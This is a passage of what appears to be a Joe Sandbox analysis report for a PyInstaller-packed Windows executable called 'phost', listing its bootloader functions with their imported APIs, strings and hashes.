PyImport_ExecCodeModule, xrefs: 00007FF62CC75C01, 00007FF62CC75C23
PyConfig_InitIsolatedConfig, xrefs: 00007FF62CC759AB, 00007FF62CC759CD
Py_DecodeLocale, xrefs: 00007FF62CC7586F, 00007FF62CC75891
PyImport_ImportModule, xrefs: 00007FF62CC75C2F, 00007FF62CC75C51
Py_IsInitialized, xrefs: 00007FF62CC75921, 00007FF62CC75943
PyUnicode_FromString, xrefs: 00007FF62CC75F6B, 00007FF62CC75F8D
Py_PreInitialize, xrefs: 00007FF62CC7594F, 00007FF62CC75971
PyUnicode_FromFormat, xrefs: 00007FF62CC75F3D, 00007FF62CC75F5F
PyUnicode_AsUTF8, xrefs: 00007FF62CC75EB3, 00007FF62CC75ED5
PyConfig_Clear, xrefs: 00007FF62CC7597D, 00007FF62CC7599F
PyUnicode_Join, xrefs: 00007FF62CC75F99, 00007FF62CC75FBB
PyErr_Clear, xrefs: 00007FF62CC75A91, 00007FF62CC75AB3
PySys_GetObject, xrefs: 00007FF62CC75E57, 00007FF62CC75E79
PyMarshal_ReadObjectFromString, xrefs: 00007FF62CC75C5D, 00007FF62CC75C7F
PyMem_RawFree, xrefs: 00007FF62CC75C8B, 00007FF62CC75CAD
PyErr_Occurred, xrefs: 00007FF62CC75B1B, 00007FF62CC75B3D
PyConfig_Read, xrefs: 00007FF62CC759D9, 00007FF62CC759FB
PyEval_EvalCode, xrefs: 00007FF62CC75BA5, 00007FF62CC75BC7
PyUnicode_Decode, xrefs: 00007FF62CC75EE1, 00007FF62CC75F03
Failed to get address for %hs, xrefs: 00007FF62CC75851
Py_DecRef, xrefs: 00007FF62CC75826, 00007FF62CC75848

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction ID: ed7a3963f2ba6b22fca9b8c813b45cef6a5515a54ceb7c2da60ea6be0e7f8730
Opcode Fuzzy Hash: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction Fuzzy Hash: 9622B374B49F47D2FE159B5DAD241B423B4EF04BB9B84A035C82E86360EF3CB55AD206

Function 00007FF62CC781C0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62CC79400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF62CC745E4,00000000,00007FF62CC71985), ref: 00007FF62CC79439

ExpandEnvironmentStringsW.KERNEL32(?,00007FF62CC788A7,?,?,00000000,00007FF62CC73CBB), ref: 00007FF62CC7821C

Part of subcall function 00007FF62CC72810: MessageBoxW.USER32 ref: 00007FF62CC728EA

Strings

LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF62CC782C9
%.*s, xrefs: 00007FF62CC782FC
CreateDirectory, xrefs: 00007FF62CC7836C
\, xrefs: 00007FF62CC78251
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF62CC78230
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF62CC781F3
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF62CC78363
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF62CC7828D

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
Instruction ID: 0cadc4fbb407535a8710761200dcf4f5c4df25f7aac95ae80efcbf4f528d89d6
Opcode Fuzzy Hash: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
Instruction Fuzzy Hash: 9351FB21B1CA4391FF50DB2DDC516BA2274EF947A4F444431D60EDA6D5EE3CE108D342

Function 00007FF62CC72180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF62CC721AB
SelectObject.GDI32 ref: 00007FF62CC721F2
DrawTextW.USER32 ref: 00007FF62CC72215
SelectObject.GDI32 ref: 00007FF62CC7222B
ReleaseDC.USER32 ref: 00007FF62CC7223B
MoveWindow.USER32 ref: 00007FF62CC7228B
MoveWindow.USER32 ref: 00007FF62CC722CB
MoveWindow.USER32 ref: 00007FF62CC7231E
MoveWindow.USER32 ref: 00007FF62CC72366

Strings

P%, xrefs: 00007FF62CC721FF

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 6c7fad6209cea5350e32bb0fc0598bf4ab7a5edddb6f78182d8730f349e6e5cd
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 7051E736604BA186DA349F26E8181BAB7B1FB98B75F004125EFDE83A94DF3CD045DB10

Function 00007FF62CC780B0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF62CC780EF
GetWindowLongPtrW.USER32 ref: 00007FF62CC7816F
ShutdownBlockReasonCreate.USER32 ref: 00007FF62CC78182
GetLastError.KERNEL32 ref: 00007FF62CC7818C
SetWindowLongPtrW.USER32 ref: 00007FF62CC781A3

Strings

Needs to remove its temporary files., xrefs: 00007FF62CC78175

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction ID: 435f4a025f35b50c762097ba75f74c85a60dbf5e56131fa384c7f5d56b7105e0
Opcode Fuzzy Hash: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction Fuzzy Hash: 6A216D31B0CA4292EF558B7EAC641796274FF88FB4F489231DB2DC77A4DE2CD5958202

Function 00007FF62CC86300 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC86343
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC86730
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC869CC

Strings

p, xrefs: 00007FF62CC863F5
f, xrefs: 00007FF62CC86465
:, xrefs: 00007FF62CC864FC
p, xrefs: 00007FF62CC8646D
-, xrefs: 00007FF62CC863D9

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: e7633c3ae476d131e9bde0ae222727082b1c6dda4ae2e176291e8e5f095c2e3b
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 7E127361F0C14386FF267A18D955ABB76B1FB407B0F944235E69A876C8DF3CE5808B42

Function 00007FF62CC81038 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC81078
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC81440
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC816DF

Strings

f, xrefs: 00007FF62CC81110
p, xrefs: 00007FF62CC8111D
f, xrefs: 00007FF62CC812C5
f, xrefs: 00007FF62CC8117A
p, xrefs: 00007FF62CC81182

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 82c32ab55855f988ffdff2a29f76f49eb6b8ef0311011d8bdfedf900cb599c49
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 24125461F0C18385FF269A19AC54A7B66F1EB807B4F984235D699C7BC4DF7CE4808B12

Function 00007FF62CC71050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF62CC71098
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF62CC711F6
malloc, xrefs: 00007FF62CC7110F
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF62CC710CC
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF62CC71108
fread, xrefs: 00007FF62CC711FD
fseek, xrefs: 00007FF62CC710D3

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 8ac83016c6d19718629361c98ce183280e134061d2f39cae6ebd349d7a60620e
Instruction ID: 24ecff781c8b8fb6321770a5589483fa08ee505a70bf0e1b8ec60905d5b90bfd
Opcode Fuzzy Hash: 8ac83016c6d19718629361c98ce183280e134061d2f39cae6ebd349d7a60620e
Instruction Fuzzy Hash: EE419131B1865292EE11DB19AC14ABA63B8FF44BE4F544531ED0CCB799DE3CE109D742

Function 00007FF62CC71470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF62CC7149F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF62CC715DF
malloc, xrefs: 00007FF62CC7151F
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF62CC714DE
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF62CC71518
fread, xrefs: 00007FF62CC715E6
fseek, xrefs: 00007FF62CC714E5

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 32ddf84ba07bcb3af5be6c29ad821ee78a82dc1a13238bf059d4699f4c578f7a
Instruction ID: d1bf3a5b8814cd65c2a3c458666f3e6fd8a579b5481355c22a6bd59ee45c8523
Opcode Fuzzy Hash: 32ddf84ba07bcb3af5be6c29ad821ee78a82dc1a13238bf059d4699f4c578f7a
Instruction Fuzzy Hash: B141BD32B0868295EF11DB299C105BA63B4FF447E8F448532ED0D8BB99DE3CE50AD702

Function 00007FF62CC7EA78 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF62CC7EAD5

Part of subcall function 00007FF62CC7FA2C: __GetUnwindTryBlock.LIBCMT ref: 00007FF62CC7FA6F
Part of subcall function 00007FF62CC7FA2C: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF62CC7FA94

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF62CC7EBAD
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF62CC7EDFB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF62CC7EF08

Strings

csm, xrefs: 00007FF62CC7EB56
csm, xrefs: 00007FF62CC7EAEF
csm, xrefs: 00007FF62CC7EBD0

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction ID: 6b5883874fdbf95cbc6a56bf27c384b4b9a377c3baf5e8e752f0591ed8bea363
Opcode Fuzzy Hash: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction Fuzzy Hash: 86D16173A087818AEF209B6998403AD37B8FB557A8F100139EE4D9FB95DF38E455D702

Function 00007FF62CC72C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF62CC73706,?,00007FF62CC73804), ref: 00007FF62CC72C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF62CC73706,?,00007FF62CC73804), ref: 00007FF62CC72D63
MessageBoxW.USER32 ref: 00007FF62CC72D99

Strings

<FormatMessageW failed.>, xrefs: 00007FF62CC72D70
Error, xrefs: 00007FF62CC72D8C
%ls: , xrefs: 00007FF62CC72D22
[PYI-%d:ERROR] , xrefs: 00007FF62CC72CA6

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction ID: 5cb3398ad9f424aa146925faefde9dfb6ede7b64bcaed7543a1209bf31bb40aa
Opcode Fuzzy Hash: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction Fuzzy Hash: 6A31D832B08A4152EA20AB29AC146BB66B5FF84BE8F414136EF4DD7759DF3CD50AD301

Function 00007FF62CC7DD38 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF62CC7DFEA,?,?,?,00007FF62CC7DCDC,?,?,?,00007FF62CC7D8D9), ref: 00007FF62CC7DDBD
GetLastError.KERNEL32(?,?,?,00007FF62CC7DFEA,?,?,?,00007FF62CC7DCDC,?,?,?,00007FF62CC7D8D9), ref: 00007FF62CC7DDCB
LoadLibraryExW.KERNEL32(?,?,?,00007FF62CC7DFEA,?,?,?,00007FF62CC7DCDC,?,?,?,00007FF62CC7D8D9), ref: 00007FF62CC7DDF5
FreeLibrary.KERNEL32(?,?,?,00007FF62CC7DFEA,?,?,?,00007FF62CC7DCDC,?,?,?,00007FF62CC7D8D9), ref: 00007FF62CC7DE63
GetProcAddress.KERNEL32(?,?,?,00007FF62CC7DFEA,?,?,?,00007FF62CC7DCDC,?,?,?,00007FF62CC7D8D9), ref: 00007FF62CC7DE6F

Strings

api-ms-, xrefs: 00007FF62CC7DDDD

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction ID: c999403295026f7ed86a3d74d52f8c8c4901220a9f0d82ff47d6f98e20ee00d3
Opcode Fuzzy Hash: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction Fuzzy Hash: DE31A321B1AB4291EE229B0AAC0057523F8FF58BB4F595535ED1D8B3C0EF3CE4499356

Function 00007FF62CC76350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

ucrtbase.dll, xrefs: 00007FF62CC763CD
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF62CC763F7
LoadLibrary, xrefs: 00007FF62CC7649E
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF62CC76446
Failed to load Python DLL '%ls'., xrefs: 00007FF62CC76497
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF62CC763B7

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
Instruction ID: f7066f966b33c59090be11c9848da9ef106e25ef8a964541b0c85e258afc640f
Opcode Fuzzy Hash: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
Instruction Fuzzy Hash: 42419331B18A87D1EE11EB28EC141F96379FB443A4F804132EA5C8B695EF3CE519D742

Function 00007FF62CC72A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF62CC7351A,?,00000000,00007FF62CC73F23), ref: 00007FF62CC72AA0

Strings

WARNING, xrefs: 00007FF62CC72AAF
Warning, xrefs: 00007FF62CC72B1E
Warning [ANSI Fallback], xrefs: 00007FF62CC72B0F
[PYI-%d:%s] , xrefs: 00007FF62CC72AA8
0, xrefs: 00007FF62CC72B16

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction ID: d3fef1ce9e8897e817482edb9f20a3440b9c169b6a742ec5d47762344a60bddb
Opcode Fuzzy Hash: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction Fuzzy Hash: 27219132B18B8192EA209B55FC517E663A8FB887E4F404132EE8C97659DF3CD1498741

Function 00007FF62CC8B1C0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF62CC8B1CF
FlsGetValue.KERNEL32 ref: 00007FF62CC8B1E4
FlsSetValue.KERNEL32 ref: 00007FF62CC8B205
FlsSetValue.KERNEL32 ref: 00007FF62CC8B232
FlsSetValue.KERNEL32 ref: 00007FF62CC8B243
FlsSetValue.KERNEL32 ref: 00007FF62CC8B254
